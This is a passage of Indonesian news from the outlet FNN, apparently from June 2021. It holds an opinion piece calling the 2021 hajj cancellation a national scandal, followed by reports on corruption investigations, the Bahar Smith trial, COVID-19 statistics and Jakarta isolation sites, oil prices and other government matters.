terbiasa putuskan dahulu, jelaskan kemudian. Jangan menganggap semua pelanggaran bisa dijelaskan dengan konferensi pers dan grafik apalagi dengan gonggongan buzzer. Tampaknya rezim telah menempatkan diri sebagai makhluk paling sempurna, tanpa salah. Apapun yang dilakukan selalu benar. Untuk kasus yang sudah nyata saja pemerimtah enggan meminta maaf apalagi untuk kasus yang samar. Arogansimu bisa menjerumuskanmu.**

Skandal Nasional Pembatalan Haji

Presiden kelihatannya kurang, dan bahkan tidak bertanggungjawab adalah skandal kepemimpinan nasional. Ke mana presiden Jokowi pada saat "kegentingan haji" yang memaksa calon jama'ah di Lampung, Banten, Surabaya, Kediri dan lainnya ada yang menarik dana pelunasan? Bukankah keputusan Menag itu atas sepengetahuan atau mungkin atas perintah presiden? Oleh M Rizal Fadillah Bandung, (FNN) - KELIHATANNYA, pembatalan keberangkatan haji tahun 2021 adalah masalah sederhana, tetapi sebenarnya tidak. Ini adalah skandal nasional. Keputusan Menteri Agama No. 660 tahun 2021 dinilai tergesa-gesa dan mengecewakan calon jama'ah yang sudah melunasi dan siap berangkat tahun ini. Alasan kesehatan adanya pandemi Covid 19 tidak cukup rasional karena kenyataannya Indonesia melakukan lobi kuota. Demikian juga soal mepet waktu yang menyulitkan persiapan karena dasarnya kita cenderung menunggu, bukan bersiap-siap. Apalagi, pemerintah Arab Saudi belum memutuskan persoalan kuota dan izin berhaji. Pembatalan merupakan skandal nasional karena sedikitnya enpat hal. Pertama, calon jama'ah telah melakukan setoran pelunasan biaya perjalanan ibadah haji. Kemudian, setoran pelunasan ini dapat ditarik kembali tanpa menghapus porsi keberangkatan. Kesiapan berangkat setelah belasan tahun menunggu, terganjal oleh pembatalan sepihak Menag tanpa konsultasi terlebih dahulu dengan DPR. Kedua, akibat pembatalan Menag maka timbul sorotan mengenai dana haji yang dikelola Badan Pengelolaan Keuangan Haji. Pertanggungjawaban dana yang diinvestasikan maupun simpanan di bank menjadi pertanyaan rakyat. Tuntutan investigasi dan audit secara independen menggelinding dan menguat. Kejujuran dan transparansi pemerintah soal dana haji sejak awal diragukan. Ketiga, DPR yang membocorkan hal yang tak benar tentang kuota haji dari Pemerintah Arab Saudi untuk Indonesia, menjadi hoax nasional. Anggota DPR yang telah salah berujar wajar menjadi tertuduh. Duta Besar Arab Saudi untuk Indonesia, di Jakarta pun merasa perlu untuk membantah dengan menyurati Ketua DPR Puan Maharani. DPR dinilai tidak melaksanakan pencegahan dan fungsi kontrol dengan baik sehingga menimbulkan kegaduhan sosial. Keempat, presiden kelihatannya kurang, dan bahkan tidak bertanggungjawab adalah skandal kepemimpinan nasional. Ke mana presiden Jokowi pada saat "kegentingan haji" yang memaksa calon jama'ah di Lampung, Banten, Surabaya, Kediri dan lainnya ada yang menarik dana pelunasan? Bukankah keputusan Menag itu atas sepengetahuan atau mungkin atas perintah residen? Mengingat pembatalan haji merupakan skandal nasional, maka klarifikasi, investigasi, dan pemberian sanksi mesti dilakukan. Klarifikasi ditunggu atas banyak pertanyaan rakyat dari keputusan pembatalan, dana haji, serta kualitas diplomasi. Investigasi dalam makna audit penyelenggaraan dan audit keuangan. Lalu sanksi atas penyimpangan yang terjadi baik administrasi maupun hukum yang harus tegas diberikan. Skandal haji tahun ini tidak bisa disederhanakan dan dibiarkan. Penting dilakukan evaluasi menyeluruh demi kebaikan penyelenggaraan haji ke depan. Pandemi Covid 19 yang selalu dijadikan alasan pembenar untuk segala hal sehingga penyimpangan apapun tampaknya harus dimaklumi, ditoleransi, bahkan diapresiasi. Skandal harus dibongkar dan dimintakan pertanggungjawaban. Haji tidak boleh dibarengi dengan perbuatan keji. ** Penulis, Pemerhati Politik dan Kebangsaan.

Kejagung Menyidik Dugaan Korupsi Dinas ESDM Tanah Bumbu

Jakarta, FNN - Penyidik Jaksa Agung Muda Tindak Pidana Khusus Kejaksaan Agung (Jampidsus Kejagung) melakukan penyidikan kasus dugaan tindak pidana korupsi pada Dinas Energi Sumberdaya Mineral (ESDM) Kabupaten Tanah Bumbu, Kalimantan Selatan, dengan memeriksa dua orang saksi. "Kami masih mengumpulkan alat bukti," kata Jampidsus Ali Mukartono saat dikonfirmasi di Jakarta, Selasa. Dua orang saksi dimintai keterangannya berasal dari pihak swasta, yakni Yudhi Aaron selaku staf Pengelola Kendaraan PT Prolindo Cipta Nusantara. Saksi kedua, bernama Ruddy Sutedja selaku Direktur PT Bangun Karya Pratama Lestari. Kedua saksi diperiksa dalam rangka penyidikan. Pemeriksaan terhadap kedua saksi pada ahri Senin (7/6) di Gedung Bundar Jampidsus, Kejagung, Jakarta. Penyidikan dilakukan terkait dengan dugaan pegawai negeri atau penyelenggara negara yang menerima hadiah atau janji pada Dinas ESDM Kabupaten Tanah Bumbu pada tahun 2011 sampai dengan 2016. Penyidikan perkara tersebut, kata Ali, ditangani langsung Direktur Penyidikan Jampidsus. Menurut dia, penyidikan ini berdasarkan informasi Pusat Pelaporan dan Analisis Transaksi Keuangan (PPAT), bukan dari pengaduan masyarakat. "Kami mengecek dari informasi PPATK, saat ini masih pengumpulan data," ujar Ali. (sws)

KPK Jadwalkan Periksa Lima Saksi untuk Nurdin Abdullah

Jakarta, FNN - KPK menjadwalkan pemanggilan lima orang saksi dalam penyidikan kasus dugaan suap perizinan dan pembangunan infrastruktur di lingkungan Pemerintah Provinsi Sulawesi Selatan Tahun Anggaran 2020—2021 untuk tersangka Gubernur Sulsel nonaktif Nurdin Abdullah. "Hari ini dijadwalkan pemeriksaan saksi-saksi dugaan tindak pidana korupsi terkait dengan suap perizinan dan pembangunan infrastruktur di lingkungan Pemerintah Provinsi Sulawesi Selatan Tahun Anggaran 2020—2021," kata Plt. Juru Bicara KPK Ali Fikri di Jakarta, Selasa. Ia menyebutkan tiga dari lima saksi itu wiraswasta, yaitu Kwan Sakti Rudy Moha, Herman Sentosa, dan Imelda Obey. Dua saksi lainnya, seorang karyawan swasta bernama La Ode Darwin dan seorang konsultan bernama Arief Satriawan. "Pemeriksaan di Kantor Direktorat Reskrimsus Polda Sulsel," kata Ali. Dalam perkara ini, Nurdin Abdullah diduga menerima total Rp5,4 miliar dengan perincian pada tanggal 26 Februari 2021 menerima Rp2 miliar yang diserahkan melalui Edy Rahmat (ER) selaku Sekretaris Dinas Pekerjaan Umum dan Tata Ruang (PUTR) Provinsi Sulsel atau orang kepercayaan Nurdin dan Agung Sucipto (AS) selaku kontraktor/Direktur PT Agung Perdana Bulukumba (APB). Selain itu, Nurdin juga diduga menerima uang dari kontraktor lain, antara lain pada akhir 2020 Nurdin menerima uang sebesar Rp200 juta, di pertengahan Februari 2021 Nurdin melalui ajudannya bernama Samsul Bahri menerima uang Rp1 miliar, dan pada awal Februari 2021 Nurdin melalui Samsul Bahri menerima uang Rp2,2 miliar. Direktur PT Agung Perdana Bulukumba Agung Sucipto saat ini sudah berstatus terdakwa dan dalam proses persidangan di Pengadilan Tipikor Makassar, sedangkan dua tersangka penerima suap, Nurdin Abdullah dan Edy Rahmat, masih dalam penyidikan. Dalam dakwaan Agung disebutkan bahwa Agung sudah dua kali memberikan uang kepada Nurdin Abdullah, yaitu sejak awal tahun 2019 hingga awal Februari 2021. Jumlah dana suap yang diterima, pertama dengan nilai 150.000 dolar Singapura diberikan di Rumah Jabatan Gubernur Jalan Sungai Tangka awal tahun 2019, sedangkan untuk dana kedua adalah saat operasi tangkap tangan tim KPK senilai Rp2 miliar di awal Februari 2021. Dana tersebut diduga sebagai uang pelicin dalam hal pemenangan tender hingga pengerjaan proyek pembangunan infrastruktur di lingkungan Pemprov Sulsel di beberapa kabupaten setempat. (sws)

KPK Panggil Tiga Saksi Kasus Pengadaan Barang COVID-19 Bandung Barat

Jakarta, FNN - KPK menjadwalkan pemanggilan tiga orang saksi dalam penyidikan kasus dugaan korupsi terkait dengan pengadaan barang tanggap darurat bencana pandemi COVID-19 pada Dinas Sosial Pemda Kabupaten Bandung Barat pada tahun anggaran 2020. "Hari ini dijadwalkan pemeriksaan saksi dalam kasus dugaan tindak pidana korupsi pengadaan barang tanggap darurat bencana pandemi COVID-19 pada Dinas Sosial Pemda Kabupaten Bandung Barat pada tahun 2020," kata Plt. Juru Bicara KPK Ali Fikri di Jakarta, Selasa. Ia menyebutkan ketiga saksi tersebut adalah Kepala Insektorat Daerah Kabupaten Bandung Barat Yadi Azhar serta dua pegawai negeri sipil bernama Herman Permadi dan Efi Sukandar. "Pemeriksaan di Kantor Polres Cimahi Jalan Jenderal H. Amir Machmud No. 333, Cigugur Tengah, Kecamatan Cimahi Tengah, Kota Cimahi," kata Ali. KPK telah menetapkan tiga orang tersangka dalam kasus tersebut, yaitu Bupati Bandung Barat nonaktif Aa Umbara Sutisna (AUS), Andri Wibawa (AW) dari pihak swasta yang juga anak Aa Umbara, dan pemilik PT Jagat Dir Gantara dan CV Sentral Sayuran Garden City Lembang M Totoh Gunawan (MTG). Dalam konstruksi perkara ini, yaitu pada bulan Maret 2020 dengan adanya pandemi COVID-19, Pemkab Bandung Barat menganggarkan sejumlah dana untuk penanggulangan pandemi COVID-19 dengan melakukan refocusing anggaran APBD 2020 pada belanja tidak terduga (BTT). Dengan menggunakan bendera CV Jayakusuma Cipta Mandiri (JCM) dan CV Satria Jakatamilung (SJ), Andri mendapatkan paket pekerjaan dengan total senilai Rp36 miliar untuk pengadaan paket bahan pangan bantuan sosial jaring pengaman sosial (Bansos JPS). Sementara itu, M. Totoh dengan menggunakan PT JDG dan CV SSGCL mendapatkan paket pekerjaan dengan total senilai Rp15,8 miliar untuk pengadaan bahan pangan bansos JPS dan bantuan sosial terkait dengan pembatasan sosial berskala besar (bansos PSBB). Dari kegiatan pengadaan tersebut, Aa Umbara diduga telah menerima uang sejumlah sekitar Rp1 miliar yang sumbernya disisihkan oleh M. Totoh dari nilai harga per paket sembako yang ditempelkan stiker bergambar Aa Umbara untuk dibagikan kepada masyarakat Kabupaten Bandung Barat. M. Totoh diduga telah menerima keuntungan sejumlah sekitar Rp2 miliar, sedangkan Andri diduga menerima keuntungan sejumlah sekitar Rp2,7 miliar. Selain itu, Aa Umbara juga diduga menerima gratifikasi dari berbagai dinas di Pemkab Bandung Barat dan para pihak swasta yang mengerjakan berbagai proyek di Kabupaten Bandung Barat sejumlah sekitar Rp1 miliar. Fakta ini, kata Ali Fikri, masih terus akan didalami oleh tim penyidik KPK. (sws)

Jaksa Pastikan Tuntutan Bahar Smith Sudah Sesuai Pertimbangan

Bandung, FNN - Jaksa penuntut umum dari Kejaksaan Tinggi Jawa Barat memastikan tuntutan terhadap terdakwa penganiayaan sopir taksi Bahar Smith sudah sesuai dengan pertimbangan fakta-fakta persidangan. Jaksa Kejati Jabar Sukanda mengatakan tuntutan selama 5 bulan hukuman penjara itu diberikan karena terdakwa dan korban sudah saling memaafkan, dan juga terdakwa sudah membayar kerugian kepada korban. "Jadi, tuntutan 5 bulan bukan karena keraguan, melainkan karena objektivitas tim jaksa," kata jaksa Sukanda saat agenda sidang replik di Pengadilan Negeri Bandung, Kota Bandung, Jawa Barat, Selasa. Pada persidangan sebelumnya, Bahar Smith melalui kuasa hukumnya meminta agar dibebaskan dari segala dakwaan dan tuntutan jaksa karena telah menempuh perdamaian dengan korban. Namun, jaksa menilai permintaan untuk dibebaskan itu tidak bisa dilakukan. Jaksa menyatakan tetap pada tuntutannya, yakni meminta hakim menjatuhkan hukuman 5 bulan penjara. "Kami berpendapat berdasarkan fakta persidangan tidak ada alat bukti yang menjadikan terdakwa harus dibebaskan. Berdasarkan itu kami penuntut umum tetap pada tuntutan kami," kata jaksa. Sementara itu, Bahar Smith justru mengaku tidak meminta dibebaskan meski kuasa hukumnya telah menyampaikan permintaan itu pada sidang sebelumnya dengan agenda pembacaan nota pembelaan. "Saya tidak pernah minta vonis hakim dibebaskan, saya hanya minta keadilan, saya berani bertanggung jawab apa pun risikonya, berapa pun ancaman hukumannya," kata Bahar. Ia menegaskan, "Kalau saya pribadi, saya tidak pernah minta dibebaskan, apa pun keputusan majelis hakim saya ikut itu." Ketua Majelis Hakim Surachmat mengatakan bahwa agenda sidang vonis kepada Bahar pada tanggal 22 Juni 2021. Hakim pun memastikan telah mencatat permintaan Bahar yang tidak ingin dibebaskan dan ingin diberi keadilan. "Tinggal kami bermusyawarah untuk menjatuhkan hukuman, acaranya putusan pada persidangan yang akan datang," kata hakim. (sws)

Ditjen Hubdat Anggarkan Rp4,3 Triliun untuk Infrastruktur Konektivitas

Jakarta, FNN - Kementerian Perhubungan (Kemenhub) melalui Direktorat Jenderal Perhubungan Darat mengalokasikan anggaran tahun 2022 sebesar Rp4,3 triliun untuk kebutuhan program infrastruktur konektivitas transportasi. "Penyusunan kegiatan dalam pagu indikatif sebagaimana tersebut melalui pertimbangan prioritas berdasarkan keselarasan dalam instruksi Presiden," kata Direktur Jenderal Perhubungan Darat Budi Setiyadi dalam Rapat Dengar Pendapat bersama Komisi V DPR RI, Selasa. Budi menjelaskan, Ditjen Hubdat mendapatkan pagu alokasi anggaran sebesar Rp5,3 triliun tahun 2022. Alokasi anggaran tersebut digunakan untuk belanja pegawai sebesar Rp529 miliar, selanjutnya belanja barang sebesar Rp2,5 triliun, kemudian belanja modal sebesar Rp2,2 triliun. Ia mengatakan, dari anggaran tersebut selanjutnya dibagi menjadi program kegiatan antara lain Program Insfrastruktur Konektivitas, di antaranya infrastruktur konektivitas transportasi darat sebesar Rp2 triliun, pelayanan transportasi darat sebesar Rp1 triliun, keselamatan dan keamanan transportasi darat sebesar Rp774 miliar, penunjang teknis transportasi darat sebesar Rp490 miliar, dan Program Dukungan Manajemen sebesar Rp958 miliar. "Implementasi rencana kerja dilakukan melalui penekanan terhadap agenda pembangunan yang relevan terhadap situasi yang dihadapi, serta prioritas berdasarkan program dan ketersediaan anggaran," ujarnya. Dirjen Budi menambahkan, Kemenhub juga tetap berkomitmen mendukung kegiatan prioritas pemerintah yaitu Destinasi Pariwisata Super Prioritas (DPSP), antara lain Toba, Borobudur, Labuan Bajo, Mandalika, dan Likupang. "Kegiatan strategis Perhubungan Darat dilaksanakan dengan mengoptimalkan sedemikian mungkin anggaran yang ada sehingga output pelayanan kepada masyarakat tetap terlaksana," pungkasnya. Pewarta : Adimas Raditya Fahky P Editor : Adi Lazuardi

Pendaftaran PPDB Daring Diperpanjang Sehubungan Optimalisasi Sistem

Jakarta, FNN - Suku Dinas Pendidikan Jakarta Selatan kembali memperpanjang pendaftaran PPDB daring 2021 hingga 11 Juni 2021 sehubungan proses optimalisasi sistem. "Secara teknis lagi 'maintenance' karena 'crowded' kemarin, kami perpanjang (pendaftaran PPDB) sampai tanggal 11 Juni," kata Kepala Suku Dinas Pendidikan Jakarta Selatan 2 Abd Rachem di Jakarta, Selasa. Perpanjangan pendaftaran Penerimaan Peserta Didik Baru (PPDB) daring hingga 11 Juni 2021 dilakukan hingga pukul 14.00 WIB. Sebelumnya, pada hari pertama PPDB daring pada Senin (7/6), Dinas Pendidikan DKI Jakarta memperpanjang waktu pendaftaran akun hingga 10 Juni 2021 pukul 14.00 WIB. PPDB DKI 2021 melalui akun twitter @PPDBDKI menginformasikan kembali penghentian sementara pengajuan akun pada Selasa (8/6) dari pukul 01.30 hingga 12.00 WIB dalam rangka optimalisasi sistem. "Apabila optimalisasi selesai maka pengajuan akun dapat dilakukan lagi," demikian tulis twitter @PPDBDKI. Sebelumnya, Pelaksana Tugas Wakil Kepala Dinas Pendidikan DKI Jakarta Slamet tak menampik bahwa ada gangguan dalam sistem pendaftaran PPDB Tahun Ajaran 2021/2022 namun ia membantah sistem pendaftaran "down" atau mati. Slamet menjelaskan, arus pendaftaran PPDB Jakarta pada hari pertama terpantau tinggi. Alasannya, kata Slamet, pembukaan pendaftaran untuk tingkat SMP dan SMA dari jalur prestasi. "Karena jalur prestasi tidak mengenal zona, maka siapapun dari manapun, sepanjang itu warga DKI dan sudah terdaftar di dalam Sidanira ini melakukan pendaftaran hari ini," ujar pria yang juga menjabat sebagai Ketua Panitia PPDB itu. Slamet mengatakan timnya tengah berupaya mengatasi pelambatan di sistem pendaftaran tersebut. Beberapa upaya yang dilakukan, lanjut dia, seperti peningkatan kapasitas "bandwidth" dan kemampuan server pendaftaran PPDB.

Kasus COVID-19 di DKI Jakarta Melonjak

Jakarta, FNN - Sejumlah pihak telah memperkirakan bahwa 2-3 pekan setelah libur panjang Lebaran bakal terjadi lonjakan kasus baru infeksi virus corona (COVID-19). Prediksi atau perkiraan itu mengindikasikan tanda-tanda terjadi dalam beberapa hari terakhir. Laporan dan data dari berbagai daerah menunjukkan peningkatan kasus positif. Satuan Tugas (Satgas) Penanganan COVID-19 menyebutkan kasus terkonfirmasi positif di Indonesia bertambah 6.993 orang. Sedangkan pasien yang sembuh bertambah 5.594 orang hingga Senin (7/6) pukul 12.00 WIB. Begitu juga kasus kematian bertambah sebanyak 191 orang. Dengan adanya tambahan pasien terkonfirmasi positif, maka jumlah akumulasi kasus di Indonesia mencapai 1.863.031 orang. Kemudian 1.711.565 orang telah dinyatakan sembuh dan 51.803 jiwa meninggal dunia sejak kasus pertama COVID-19 terkonfirmasi di Indonesia pada 2 Maret 2020. Sementara suspek dilaporkan sebanyak 91.269 jiwa dan spesimen yang diuji sebanyak 64.056 spesimen. Sedangkan kasus aktif dilaporkan bertambah sebanyak 1.208 kasus sehingga total menjadi 99.663 kasus aktif. Penambahan kasus terkonfirmasi COVID-19 berdasarkan laporan harian paling banyak terjadi di Jawa Barat sebanyak 1.790 kasus, Jawa Tengah (1.451), menyusul DKI Jakarta (1.197). Riau mencatatkan angka kasus kesembuhan tertinggi mencapai 561 pasien sembuh. Bangka Belitung mencatatkan sebanyak 236 pasien sembuh serta Aceh sebanyak 189 pasien sembuh. Kasus kematian terbanyak dilaporkan berada di Jawa Tengah sebanyak 28 jiwa, kemudian Jawa Timur (27) dan Riau serta Jawa Barat masing-masing 22 jiwa. Kasus COVID-19 secara kumulatif paling tinggi di DKI Jakarta total 436.332 kasus, Jawa Barat (321.551) dan Jawa Tengah (206.683). Jumlah pasien sembuh kumulatif terbanyak di DKI Jakarta 416.971 orang, Jawa Barat (296.198), dan Jawa Timur (143.099). Adapun kasus kematian paling banyak terjadi di Jawa Timur 11.505 jiwa, Jawa Tengah (9.416), dan DKI Jakarta (7.313). Vaksinasi Dalam dunia medis, vaksinasi merupakan upaya untuk meningkatkan imunitas atau kekebalan tubuh menghadapi potensi serangan penyakit. Kini vaksinasi digencarkan pemerintah untuk menciptakan kekebalan kelompok (herd imunity). Jumlah warga Indonesia yang telah mendapatkan vaksin COVID-19 terus bertambah setiap hari. Hal itu seiring dengan ketersediaan vaksin yang berhasil dicapai pemerintah di tengah tingginya permintaan vaksin di seluruh dunia. Hingga Senin, jumlah warga yang sudah mendapat dua suntikan vaksin COVID-19 atau sudah selesai menjalani vaksinasi mencapai 11 juta lebih. Data Satuan Tugas Penanganan COVID-19 menunjukkan, jumlah warga yang sudah selesai menjalani vaksinasi COVID-19 bertambah 70.312 menjadi total 11.197.069 orang. Sedangkan warga yang sudah mendapat suntikan dosis pertama vaksin COVID-19 tercatat 17.775.918 orang, bertambah 132.315 orang dari hari sebelumnya. Program Vaksinasi Gotong-Royong juga sudah berjalan. Bahkan sampai 30 Mei 2021 telah menjangkau 49 ribu pekerja dari 36 badan usaha atau badan hukum. Sasaran program vaksinasi COVID-19 tahap I dan II sebanyak 40.349.049 orang, meliputi sumber daya manusia bidang kesehatan, pekerja sektor pelayanan publik dan warga lanjut usia (lansia). Vaksinasi pada pekerja sektor pelayanan publik termasuk guru dan warga lansia masih berlangsung di berbagai daerah. Pemerintah berencana memvaksinasi 181,5 juta warga atau sekitar 70 persen dari penduduk Indonesia guna mewujudkan kekebalan kelompok terhadap COVID-19. Pelaksanaan vaksinasi dilakukan secara bertahap. Ketersediaan vaksin sangat krusial dalam upaya akselerasi pelaksanaan program vaksinasi nasional. Pemerintah Indonesia telah mendapat tambahan 313.100 dosis vaksin COVID-19 dari AstraZeneca. Kerja keras Menurut Juru Bicara Vaksinasi COVID-19 Siti Nadia Tarmizi tambahan pasokan vaksin dari AstraZeneca tiba di Bandar Udara Internasional Soekarno-Hatta, Kota Tangerang, Banten, pada Sabtu (5/6) pukul 18.00 WIB. Dengan kedatangan tambahan pasokan vaksin tersebut, Indonesia telah menerima total 92,2 juta dosis vaksin COVID-19 berupa vaksin jadi maupun bahan baku vaksin. Kedatangan vaksin AstraZeneca dari Covax Facility ini tak lepas dari kerja keras Pemerintah Indonesia yang sejak Oktober 2020 telah menjajaki kerja sama multilateral COVID-19 Covax, sebuah inisiatif global yang ditujukan untuk akses setara mendapatkan vaksin COVID-19 Melalui mekanisme GAVI Covax Advance Market Commitment, Indonesia memperoleh jatah vaksin COVID-19 sebesar tiga hingga 20 persen dari jumlah penduduk. Indonesia total telah menerima tiga juta dosis vaksin jadi dari Sinovac, sebanyak 6,7 juta dosis vaksin jadi dari AstraZeneca dan satu juta dosis vaksin jadi Sinopharm. Selain itu bahan baku 81,5 juta dosis vaksin dari Sinovac. Pemerintah berupaya meningkatkan pelayanan vaksinasi agar bisa menjangkau rata-rata satu juta warga per hari mulai Juni 2021 guna mempercepat terwujudnya kekebalan kelompok terhadap COVID-19. Pemerintah sudah melaksanakan vaksinasi pada sumber daya manusia bidang kesehatan, pekerja sektor pelayanan publik dan warga lanjut usia. Selain itu mulai memvaksinasi penduduk berusia 50 tahun ke atas. Isolasi Gencarnya vaksinasi COVID-19 juga berlangsung Di DKI Jakarta. Vaksinasi dilakukan di tengah masih tingginya angka kasus baru di ibu kota. Selain vaksinasi, Pemerintah Provinsi DKI Jakarta menyiapkan tempat-tempat untuk isolasi. Hal itu untuk mengantisipasi lonjakan kasus positif hari-hari setelah mudik Lebaran. Gubernur DKI Jakarta Anies Baswedan pun menerbitkan Keputusan Gubernur (Kepgub) DKI Jakarta Nomor 675 Tahun 2021 tentang Lokasi Isolasi Terkendali. Lokasi isolasi untuk penanganan pasien COVID-19 itu berkapasitas 8.249 orang. Kepgub Nomor 675 Tahun 2021 ditandatangani Anies selaku Ketua Satuan Tugas Penanganan COVID-19 Provinsi DKI Jakarta pada 31 Mei 2021. Keputusan Gubernur DKI Jakarta itu mengubah atas Kepgub Nomor 979 Tahun 2020 tentang Lokasi Isolasi terkendali milik Provinsi DKI Jakarta dalam rangka penanganan COVID-19. Kepgub DKI Jakarta Nomor 675 Tahun 2021 itu menimbang adanya kebijakan Satgas COVID-19 Nasional mengenai pemberhentian pembiayaan hotel, penginapan dan wisma bagi orang terkonfirmasi COVID-19. Kemudian pemberhentian pembiayaan penginapan bagi tenaga kesehatan penanganan COVID-19 dan menjamin kepastian hukum dalam pemenuhan fasilitas isolasi terkendali serta penginapan bagi tenaga kesehatan sesuai Kepgub Nomor 979 Tahun 2020. Berdasarkan Lampiran Kepgub Nomor 675 Tahun 2021 tercantum daftar lokasi isolasi terkendali dan penginapan bagi tenaga kesehatan milik Pemprov DKI dengan total kapasitas mencapai 8.249 orang. Daftar lokasi isolasi terkendali pasien COVID-19 tahap pertama berkapasitas sebanyak 607 orang, terdiri atas Graha Wisata TMII mencapai 100 orang dan Graha Wisata Ragunan (200 orang). Hotel Grand Mansion Menteng (77), Pusdiklat Gulkarmat Ciracas (30) serta Masjid Raya KH Hasyim Asy'ari (200). Kemudian daftar lokasi tahap kedua sebanyak 6.648 orang terdiri atas Rusun Nagrak Cilincing (2.550), Rusun Pasar Rumput Manggarai (3.968) dan SMPN 285 Pulau Untung Jawa (20). SMKN 61 Pulau Tidung (40), SMPN 28 Pulau Panggang (20), SDN 01 Pulau Kelapa (30) serta PKBM Pulau Harapan (20 orang). Daftra lokasi tahap ketiga berkapasitas 994 orang terdiri atas Balai Kesenian Kebon Melati (85 orang), GOR Rawamangun (100), GOR Senen (100) serta GOR Johar Baru (50). GOR Kemakmuran Petojo Utara Gambir (30 orang), GOR Kecamatan Tanah Abang (60) dan GOR Kecamatan Kemayoran (40 orang). Selanjutnya, GOR Kecamatan Grogol Petamburan (50 orang), GOR Kecamatan Tambora (50), GOR Kecamatan Kebon Jeruk (50) dan GOR Kecamatan Cilandak (75). GOR Mampang Prapatan (40), GOR Tebet (40) serta GOR Pancoran (40 orang). Lokasi lainnya, yakni GOR Pasar Minggu (25 orang), Wisma Atlet Raden Intan (32), GOR Ciracas (50), GOR Cengkareng (47) dan GOR Setu (30 orang) Pemprov DKI juga menyiapkan lokasi penginapan bagi tenaga kesehatan berkapasitas 835 orang terdiri atas SMK 27 Sawah Besar (32 orang) dan SMK 57 Pasar Minggu (36). SMK 24 Cipayung (28), LPMP Provinsi DKI (480), Gedung PKK Melati Jaya (72) dan Jakarta Islamic Center (185 orang). Sesuai maksud dan tujuannya, tempat-tempat itu untuk mengantisipasi lonjakan kasus baru COVID-19. Tidak ada lonjakan yang signifikan adalah dambaan banyak pihak. (sws)

Harga Minyak Jatuh Lagi di Asia Terseret Rapuhnya Pemulihan Global

Tokyo, FNN - Harga minyak turun lebih banyak di perdagangan Asia pada Selasa pagi, terseret meningkatnya kekhawatiran tentang rapuhnya pemulihan global dalam permintaan minyak mentah dan bahan bakar saat data menunjukkan impor minyak China turun pada Mei. Harga minyak mentah Brent turun 11 sen atau 0,2 persen, menjadi diperdagangkan di 71,38 dolar AS per barel pada pukul 01.51 GMT, setelah jatuh 0,6 persen semalam. Harga minyak mentah WTI AS turun 13 sen atau 0,2 persen, menjadi diperdagangkan di 69,10 dolar AS per barel, setelah merosot 0,6 persen di sesi sebelumnya. "Impor minyak China berada pada level terendah lima bulan ... akan cenderung mengonfirmasi kelemahan di pasar Asia," kata Direktur Energi Berjangka Mizhuo Securities, Bob Yawger. Impor minyak mentah China anjlok 14,6 persen pada Mei, dari level tertinggi tahun sebelumnya, dengan kedatangan harian di level terendah tahun ini, karena pemeliharaan di kilang-kilang membatasi permintaan untuk pembelian minyak. Harga minyak mentah telah meningkat dalam beberapa pekan terakhir, dengan Brent melonjak hampir 40 persen tahun ini dan WTI naik lebih dari itu, di tengah ekspektasi permintaan akan kembali karena beberapa negara berhasil memvaksinasi populasi terhadap COVID-19. Pengekangan pasokan oleh Organisasi Negara-negara Pengekspor Minyak dan sekutunya yang dikenal sebagai OPEC+ juga membantu menopang harga. Tetapi importir minyak utama seperti India telah melalui gelombang infeksi yang terus mengancam kenaikan permintaan global yang diharapkan pada paruh kedua tahun ini. (sws)

Anggota DPD Aceh Minta Qanun Haji-Umrah Segera Implementasikan

Banda Aceh, FNN - Anggota DPD RI asal Aceh M Fadhil Rahmi mendesak Pemerintah Aceh segera mengimplementasikan qanun (peraturan daerah) Aceh Nomor 5 tahun 2020 tentang penyelenggaraan dan pengelolaan ibadah haji dan umrah. "Keberadaan qanun haji dan umrah penting untuk memangkas daftar tunggu keberangkatan jamaah haji di Aceh yang sangat panjang," katanya di Banda Aceh, Selasa. Qanun Aceh tentang haji dan umrah tersebut telah disahkan oleh DPR Aceh (DPRA) bersama Pemerintah Aceh pada 30 Desember 2020 lewat paripurna DPR Aceh. Fadhil mengatakan berdasarkan data terakhir daftar tunggu keberangkatan haji di Aceh hingga 28 tahun terhitung dari hari pertama mendaftar, dan ini waktu yang cukup lama. Kemudian, daftar tunggu haji semakin lama setelah adanya penundaan atau pembatalan keberangkatan haji dua tahun terakhir sejak pandemi COVID-19. "Sedangkan yang mendaftar terus bertambah. Ini tentu membuat daftar tunggu semakin panjang lagi ke depannya," katanya. Karena itu, menurut Fadhil, solusi terhadap persoalan tersebut adalah melaksanakan qanun penyelenggaran dan pengelolaan ibadah haji dan umrah. Lebih spesifiknya terkait pengaturan soal penambahan kuota haji khusus bagi Aceh. "Pemerintah Aceh bisa melobi penambahan kuota haji khusus untuk memangkas daftar tunggu haji Aceh" katanya. Diharapkan perangkat kerja yang diamanahkan dalam qanun itu juga segera dibentuk sehingga persoalan haji Aceh dapat terselesaikan, demikian M Fadhil Rahmi. (sws)

Wapres: Persoalan Ketenagakerjaan di Indonesia Semakin Kompleks

Jakarta, FNN - Wakil Presiden Ma’ruf Amin mengatakan persoalan ketenagakerjaan di Indonesia semakin kompleks karena angka pengangguran masih tinggi serta masih rendahnya produktivitas ditambah dengan kondisi pandemi COVID-19 yang masih berlangsung. "Persoalan ketenagakerjaan saat ini juga semakin kompleks, angka pengangguran kita masih relatif tinggi, sementara produktivitas tenaga kerja kita juga masih rendah," kata Wapres Ma’ruf dalam acara Rembuk Nasional Vokasi dan Kewirausahaan di Pondok Pesantren Cipasung, Singaparna, Tasikmalaya, Provinsi Jawa Barat, Selasa. Kondisi tersebut diperburuk dengan bencana pandemi COVID-19 yang memberikan dampak pada 19,1 juta tenaga kerja di Indonesia, kata Wapres merujuk pada data Badan Pusat Statistik (BPS). Selain itu, jumlah penduduk yang memasuki usia produktif juga terus meningkat setiap tahun di Indonesia. Wapres juga menyayangkan sedikitnya warga yang mempunyai keahlian dalam bekerja. "Persoalan itu ditambah pula dengan pertumbuhan angkatan kerja baru yang cenderung terus meningkat setiap tahun; serta minimnya penduduk usia angkatan kerja yang pernah mengikuti pelatihan kerja, sehingga menyebabkan terjadinya mismatch skill," jelas Wapres. Oleh karena itu, Wapres meminta seluruh jajarannya dan berbagai pihak terkait untuk membuat program mitigasi agar kondisi ketenagakerjaan di Indonesia tidak semakin parah. "Oleh karenanya, afirmasi kebijakan Pemerintah yang melibatkan beragam pemangku kepentingan sangat dibutuhkan dalam memitigasi beragam persoalan ketenagakerjaan tersebut, agar tenaga kerja nasional dapat tetap eksis di tengah era persaingan global yang sangat ketat ini," tegasnya. Salah satu program pemerintah yang dapat dikembangkan untuk mempersiapkan masyarakat sebagai tenaga kerja berkualitas ialah Balai Latihan Kerja (BLK) Komunitas. Wapres mengatakan BLK Komunitas akan memudahkan 